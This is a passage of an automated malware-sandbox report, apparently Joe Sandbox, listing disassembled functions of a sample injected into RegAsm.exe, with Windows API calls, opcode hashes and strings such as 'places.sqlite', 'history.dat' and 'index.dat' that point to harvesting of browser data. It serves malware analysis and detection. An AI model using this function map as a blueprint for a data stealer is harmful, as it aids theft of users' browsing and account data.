                      • DeleteFileW.KERNEL32(?,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E5A3
                      • CloseHandle.KERNEL32(000000FF), ref: 0040E5CA
                        • Part of subcall function 0040E175: memset.MSVCRT ref: 0040E1BD
                        • Part of subcall function 0040E175: _snwprintf.MSVCRT ref: 0040E257
                        • Part of subcall function 0040E175: ??3@YAXPAX@Z.MSVCRT ref: 0040E28B
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$Handle$Close$ProcessViewmemset$??3@CreateCurrentDeleteDuplicateMappingOpenSizeUnmapWrite_snwprintfmemcpywcschr
                      • String ID:
                      • API String ID: 2722907921-0
                      • Opcode ID: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                      • Instruction ID: 90d235a97b45fa8760f9e747b2c38a4e83ddeae1161d8ec943a7631d31c9d9e7
                      • Opcode Fuzzy Hash: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                      • Instruction Fuzzy Hash: DA312CB1C00618ABCF60DF96CD456CEF7B8AF44318F1006AB9518B31A1DB755E95CF58
                      Function 00403A16 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 67COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C09
                        • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C1E
                        • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C47
                        • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C70
                      • memset.MSVCRT ref: 00403A55
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                        • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                        • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A908
                        • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A92B
                        • Part of subcall function 0040A8D0: memcpy.MSVCRT ref: 0040A94F
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memsetwcscatwcslen$??3@$AttributesFilememcpywcscpy
                      • String ID: history.dat$places.sqlite
                      • API String ID: 3093078384-467022611
                      • Opcode ID: ff38290cf6d73649d3c52fc0ad95bc2cdf601f157f84f60878f9098853983ee3
                      • Instruction ID: 4d52d99a2018a06e8b3479be55870673e402391ac5db5fe9af26a684ed702786
                      • Opcode Fuzzy Hash: ff38290cf6d73649d3c52fc0ad95bc2cdf601f157f84f60878f9098853983ee3
                      • Instruction Fuzzy Hash: CA112EB2A0111866DB10FA66CD4AACE77BCAF54354F1001B7B915B20C2EB3CAF45CA69
                      Function 004175ED Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00417570: SetFilePointer.KERNEL32(?,?,?,00000000), ref: 00417591
                        • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A2
                        • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A8
                      • ReadFile.KERNEL32(?,?,?,?,00000000), ref: 0041761D
                      • GetLastError.KERNEL32 ref: 00417627
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ErrorLast$File$PointerRead
                      • String ID:
                      • API String ID: 839530781-0
                      • Opcode ID: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                      • Instruction ID: c9208e3d43fc8ff2949f7201360c8f82def2114e122364bdeb0a9035ecfb973e
                      • Opcode Fuzzy Hash: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                      • Instruction Fuzzy Hash: D001A236208204BBEB008F69DC45BDA3B78FB153B4F100427F908C6640E275D89096EA
                      Function 0040C1D3 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 45COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FileFindFirst
                      • String ID: *.*$index.dat
                      • API String ID: 1974802433-2863569691
                      • Opcode ID: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                      • Instruction ID: 5c3219b8572ff4376619b1de75d6d1d1b7443a793578eadcc31bed7d77429009
                      • Opcode Fuzzy Hash: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                      • Instruction Fuzzy Hash: 0E01257180125895EB20E761DC467DF766C9F04314F5002FB9818F21D6E7389F958F9A
                      Function 004099F4 Relevance: 4.5, APIs: 3, Instructions: 38COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@mallocmemcpy
                      • String ID:
                      • API String ID: 3831604043-0
                      • Opcode ID: 7d74a04ce27a742131de704167b3a52b0161021cc553bd76998040dad9392745
                      • Instruction ID: 1240433d41d023da9ba75aa62d017d874606d7cfbee4c78203c9aa8101697722
                      • Opcode Fuzzy Hash: 7d74a04ce27a742131de704167b3a52b0161021cc553bd76998040dad9392745
                      • Instruction Fuzzy Hash: 88F0E9727092219FC708AE75A98180BB79DAF55314B12482FF404E3282D7389C50CB58
                      Function 00417570 Relevance: 4.5, APIs: 3, Instructions: 30COMMON
                      Download Yara Rule
                      APIs
                      • SetFilePointer.KERNEL32(?,?,?,00000000), ref: 00417591
                      • GetLastError.KERNEL32 ref: 004175A2
                      • GetLastError.KERNEL32 ref: 004175A8
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ErrorLast$FilePointer
                      • String ID:
                      • API String ID: 1156039329-0
                      • Opcode ID: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                      • Instruction ID: d6bca62a971eeae6b8c8b5ba9af71e52dcee60bc35e592f51b1cb5e4efccb3e3
                      • Opcode Fuzzy Hash: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                      • Instruction Fuzzy Hash: 03F03071918115FBCB009B75DC009AA7ABAFB05360B104726E822D7690E730E9409AA8
                      Function 0040A02C Relevance: 4.5, APIs: 3, Instructions: 26filetimeCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,004039CA,00000000,?,00000000,?,00000000), ref: 0040A044
                      • GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                      • CloseHandle.KERNEL32(00000000), ref: 0040A061
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$CloseCreateHandleTime
                      • String ID:
                      • API String ID: 3397143404-0
                      • Opcode ID: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                      • Instruction ID: 1a7e7c0172e67e076cb3c0c47f72e507911c66c01d2121fa3096849e88919459
                      • Opcode Fuzzy Hash: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                      • Instruction Fuzzy Hash: 23E04F3624036077E2311B2BAC0CF4B2E69FBCBB21F150639F565B21E086704915C665
                      Function 00409A45 Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                      Download Yara Rule
                      APIs
                      • GetTempPathW.KERNEL32(00000104,?), ref: 00409A5C
                      • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                      • GetTempFileNameW.KERNEL32(?,0040B827,00000000,?), ref: 00409A85
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Temp$DirectoryFileNamePathWindows
                      • String ID:
                      • API String ID: 1125800050-0
                      • Opcode ID: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                      • Instruction ID: b144c37017a21c6b5a3d1d2b3cfc872714830df517851edcd0bc871ed666fd71
                      • Opcode Fuzzy Hash: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                      • Instruction Fuzzy Hash: ACE0927A500218A7DB109B61DC4DFC777BCFB45304F0001B1B945E2161EB349A848BA8
                      Function 004175B7 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 24sleepCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: CloseHandleSleep
                      • String ID: }A
                      • API String ID: 252777609-2138825249
                      • Opcode ID: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                      • Instruction ID: 75b622f9be81829505acbf4f2e76dfbd2ea822dc2a3448742147a61f3b6dc806
                      • Opcode Fuzzy Hash: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                      • Instruction Fuzzy Hash: B7E0CD3B1045156ED500577DDCC099773E9EF892347144226F171C25D0C6759C828524
                      Function 0041EED2 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 174COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset
                      • String ID: BINARY
                      • API String ID: 2221118986-907554435
                      • Opcode ID: 791c3fd1504af4fac70d2b15fe323b793bb873d26b5eb9345bfe372344e0595c
                      • Instruction ID: 089a0534c11c2c8a1092ab46fa13594887108ded84822111f9e073e703b485f9
                      • Opcode Fuzzy Hash: 791c3fd1504af4fac70d2b15fe323b793bb873d26b5eb9345bfe372344e0595c
                      • Instruction Fuzzy Hash: 41518B71A047059FDB21CF69C881BEA7BE4EF48350F14446AF849CB342E738D995CBA9
                      Function 00405220 Relevance: 3.1, APIs: 2, Instructions: 88COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                        • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                        • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                        • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                        • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                        • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                      • _mbscpy.MSVCRT ref: 00405250
                      • _mbscat.MSVCRT ref: 0040525B
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: LibraryLoad$DirectorySystem_mbscat_mbscpymemsetwcscatwcscpy
                      • String ID:
                      • API String ID: 568699880-0
                      • Opcode ID: aa271fa985e038ed7aa7a673401608462c82e67ac2ecc87e69baa60a0a084fe3
                      • Instruction ID: 606e4c6bb64acde45ccb9f726b040251bc13cbada001f714d968da5dd22dddd0
                      • Opcode Fuzzy Hash: aa271fa985e038ed7aa7a673401608462c82e67ac2ecc87e69baa60a0a084fe3
                      • Instruction Fuzzy Hash: 52212171A80F00DADA10BF769C4BB1F2694DF50715B10046FB158FA2D2EBBC95419A9D
                      Function 0041268E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 72COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _wcsicmp
                      • String ID: /stext
                      • API String ID: 2081463915-3817206916
                      • Opcode ID: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                      • Instruction ID: 10e6e7fbaeb1b3fbdbf907bfc38f809d5841ace5bac79d7196eddb000c1bc607
                      • Opcode Fuzzy Hash: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                      • Instruction Fuzzy Hash: 19218E30B00605AFD704EF6ACAC1AD9F7A9FF44304F10416AA419D7342DB79ADA18B95
                      Function 00409529 Relevance: 3.1, APIs: 2, Instructions: 66COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004096C3: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      • GetFileSize.KERNEL32(00000000,00000000,00000143,00000000,00000000,00000000,?,00409690,00000000,00408801,?,?,00000143,?,?,00000143), ref: 00409552
                      • CloseHandle.KERNEL32(00000000), ref: 0040957A
                        • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                        • Part of subcall function 0040A2EF: ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$??2@CloseCreateHandleReadSize
                      • String ID:
                      • API String ID: 1023896661-0
                      • Opcode ID: 517a28336922631f1c28e20ccf3750fd377d8614a795a490cf559f5829b7d7c1
                      • Instruction ID: f35f9952f6e959c636c436af82c7d55a8b84e599ec35ab47be9645748316c481
                      • Opcode Fuzzy Hash: 517a28336922631f1c28e20ccf3750fd377d8614a795a490cf559f5829b7d7c1
                      • Instruction Fuzzy Hash: 0D11D671A00608BFCB129F2ACC8585F7BA5EF94350B14843FF415AB392DB75DE40CA58
                      Function 0040CC26 Relevance: 3.1, APIs: 2, Instructions: 53COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004096C3: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      • GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                        • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                        • Part of subcall function 0040A2EF: ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                        • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB63
                        • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB88
                      • CloseHandle.KERNEL32(?), ref: 0040CC98
                        • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT ref: 0040B052
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$ByteCharMultiWide$??2@??3@CloseCreateHandleReadSize
                      • String ID:
                      • API String ID: 2445788494-0
                      • Opcode ID: 5551154f09d9ac0fe1cac7a20b9391cb02a4855cbb9d966ae120c46d578013b8
                      • Instruction ID: dc8783d9a6c7baf78a377756874cfbd60b78407a6d3acdf6d1052ad5173bbb79
                      • Opcode Fuzzy Hash: 5551154f09d9ac0fe1cac7a20b9391cb02a4855cbb9d966ae120c46d578013b8
                      • Instruction Fuzzy Hash: 91118275804208AFDB10AF6ADC45C8A7F75FF01364711C27AF525A72A1D6349A18CBA5
                      Function 0041BC3B Relevance: 2.7, APIs: 2, Instructions: 195COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcmpmemset
                      • String ID:
                      • API String ID: 1065087418-0
                      • Opcode ID: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                      • Instruction ID: cf105cae5e27f97c9cd1c3f46a8d5e16e2707a712041142e317bfb3d1f631299
                      • Opcode Fuzzy Hash: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                      • Instruction Fuzzy Hash: 2A615B71A01349EBDB14EFA495815EEB7B4EB04308F1440AFE609D3241E738AED4DB99
                      Function 004104FB Relevance: 2.6, APIs: 2, Instructions: 140COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040ECD8: ??2@YAPAXI@Z.MSVCRT ref: 0040ECF9
                        • Part of subcall function 0040ECD8: ??3@YAXPAX@Z.MSVCRT ref: 0040EDC0
                      • GetStdHandle.KERNEL32(000000F5), ref: 00410530
                      • CloseHandle.KERNEL32(?), ref: 00410654
                        • Part of subcall function 004096DC: CreateFileW.KERNEL32(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                        • Part of subcall function 0040973C: GetLastError.KERNEL32 ref: 00409750
                        • Part of subcall function 0040973C: _snwprintf.MSVCRT ref: 0040977D
                        • Part of subcall function 0040973C: MessageBoxW.USER32(?,?,Error,00000030), ref: 00409796
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Handle$??2@??3@CloseCreateErrorFileLastMessage_snwprintf
                      • String ID:
                      • API String ID: 1381354015-0
                      • Opcode ID: 8fbfc2f348dbe95ddd4b5a009659ef379d3a5d6a1ec684b3882d32b59d0f1ff8
                      • Instruction ID: c777e68e994987bb064ab7fb99de871126f79ef1b866bcb434911d427814d160
                      • Opcode Fuzzy Hash: 8fbfc2f348dbe95ddd4b5a009659ef379d3a5d6a1ec684b3882d32b59d0f1ff8
                      • Instruction Fuzzy Hash: BE417231A00204EFCB25AF65C885A9E77B6EF84711F20446FF446A7291C7B99EC0DE59
                      Function 004136C0 Relevance: 1.7, APIs: 1, Instructions: 163COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 47b7cceb40ac73e48e091e39f89a81a5349c65788578bfc7b3808e4b699817ff
                      • Instruction ID: 68238382b965d6cf35967491492c160b6f6d54887ef21f0023ff885919cfaa00
                      • Opcode Fuzzy Hash: 47b7cceb40ac73e48e091e39f89a81a5349c65788578bfc7b3808e4b699817ff
                      • Instruction Fuzzy Hash: 695126B5A00209AFCB14DFD4C884CEFBBB9FF88705B14C559F512AB254E735AA46CB60
                      Function 00403988 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00403A16: memset.MSVCRT ref: 00403A55
                        • Part of subcall function 0040A02C: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,004039CA,00000000,?,00000000,?,00000000), ref: 0040A044
                        • Part of subcall function 0040A02C: GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                        • Part of subcall function 0040A02C: CloseHandle.KERNEL32(00000000), ref: 0040A061
                      • CompareFileTime.KERNEL32(?,?,00000000,?,00000000), ref: 004039D4
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$Time$CloseCompareCreateHandlememset
                      • String ID:
                      • API String ID: 2154303073-0
                      • Opcode ID: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                      • Instruction ID: d476be81a684c5cf971044fbd14bb177a9e73989d843208b34704cc982626f94
                      • Opcode Fuzzy Hash: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                      • Instruction Fuzzy Hash: 11111CB6D00218ABCB11EFA5D9415DEBBB9EF44315F20407BE841F7281DA389F45CB95
                      Function 004062A6 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                      Download Yara Rule
                      APIs
                      • SetFilePointerEx.KERNEL32(0040627C,?,?,00000000,00000000), ref: 004062C2
                        • Part of subcall function 0040A2EF: ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$PointerRead
                      • String ID:
                      • API String ID: 3154509469-0
                      • Opcode ID: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                      • Instruction ID: d794e9b43e5f56b2d2e2073d65b81241c22a9a75ad02cc9b2284f18e77a2fe0f
                      • Opcode Fuzzy Hash: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                      • Instruction Fuzzy Hash: 45E01276100100FFE6619B05DC06F57FBB9FBD4710F14883DB59596174C6326851CB25
                      Function 00414561 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                      Download Yara Rule
                      APIs
                      • GetPrivateProfileIntW.KERNEL32(?,?,?,?), ref: 00414588
                        • Part of subcall function 004143F1: memset.MSVCRT ref: 00414410
                        • Part of subcall function 004143F1: _itow.MSVCRT ref: 00414427
                        • Part of subcall function 004143F1: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00414436
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: PrivateProfile$StringWrite_itowmemset
                      • String ID:
                      • API String ID: 4232544981-0
                      • Opcode ID: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                      • Instruction ID: 104e910b762de94586eb11e4c264cf061db1895f8dce3fe8c281d71359574313
                      • Opcode Fuzzy Hash: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                      • Instruction Fuzzy Hash: 8EE09232000209ABDF125F91EC01AA93B66FF54315F548469F95C05520D33295B0AB59
                      Function 00444A54 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                      Download Yara Rule
                      APIs
                      • FreeLibrary.KERNEL32(?,?,004452FB,?,?,?,0040333C,?), ref: 00444A65
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FreeLibrary
                      • String ID:
                      • API String ID: 3664257935-0
                      • Opcode ID: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                      • Instruction ID: 9043d1e372537a54137ae43dcd20834ee918eeaa55a47e8e1dedab4d47514996
                      • Opcode Fuzzy Hash: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                      • Instruction Fuzzy Hash: E2E0F6B5900B018FD3708F1BE944406FBF8BFE56113108A1FD4AAC2A24D7B4A1898F54
                      Function 00413F27 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                      Download Yara Rule
                      APIs
                      • K32GetModuleFileNameExW.KERNEL32(00000104,00000000,00413E1F,00000104,00413E1F,00000000,?), ref: 00413F46
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FileModuleName
                      • String ID:
                      • API String ID: 514040917-0
                      • Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                      • Instruction ID: eb737a8a997ed41d0f7a348c178ce8d4b8225706e43eb580f21eee6dbde26bc7
                      • Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                      • Instruction Fuzzy Hash: 6FD02231B083007BEA20EE70CC00FCBA2F47F40F12F008C5AB191D2080C374C9495305
                      Function 0040A2EF Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                      Download Yara Rule
                      APIs
                      • ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FileRead
                      • String ID:
                      • API String ID: 2738559852-0
                      • Opcode ID: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                      • Instruction ID: df780c2d30ec27a436fe2e8938b9b3026ee6fdf868a35847a3a0dbf755fefbc9
                      • Opcode Fuzzy Hash: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                      • Instruction Fuzzy Hash: 6DD0C97505020DFBDF01CF81DC06FDD7B7DFB05359F108054BA0095060C7759A15AB55
                      Function 0040A30E Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                      Download Yara Rule
                      APIs
                      • WriteFile.KERNEL32(?,00000009,?,00000000,00000000), ref: 0040A325
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FileWrite
                      • String ID:
                      • API String ID: 3934441357-0
                      • Opcode ID: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                      • Instruction ID: 3280266517864b8de079c100525e5277478ec149926fcdeece843fe2c70d8c86
                      • Opcode Fuzzy Hash: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                      • Instruction Fuzzy Hash: CFD0C93501020DFBDF01CF81DC06FDD7BBDFB04359F108054BA1095060D7B59A20AB94
                      Function 00413D29 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                      Download Yara Rule
                      APIs
                      • FreeLibrary.KERNEL32(00000000,004457F2,00000000,000001F7,00000000), ref: 00413D30
                      Memory Dump Source
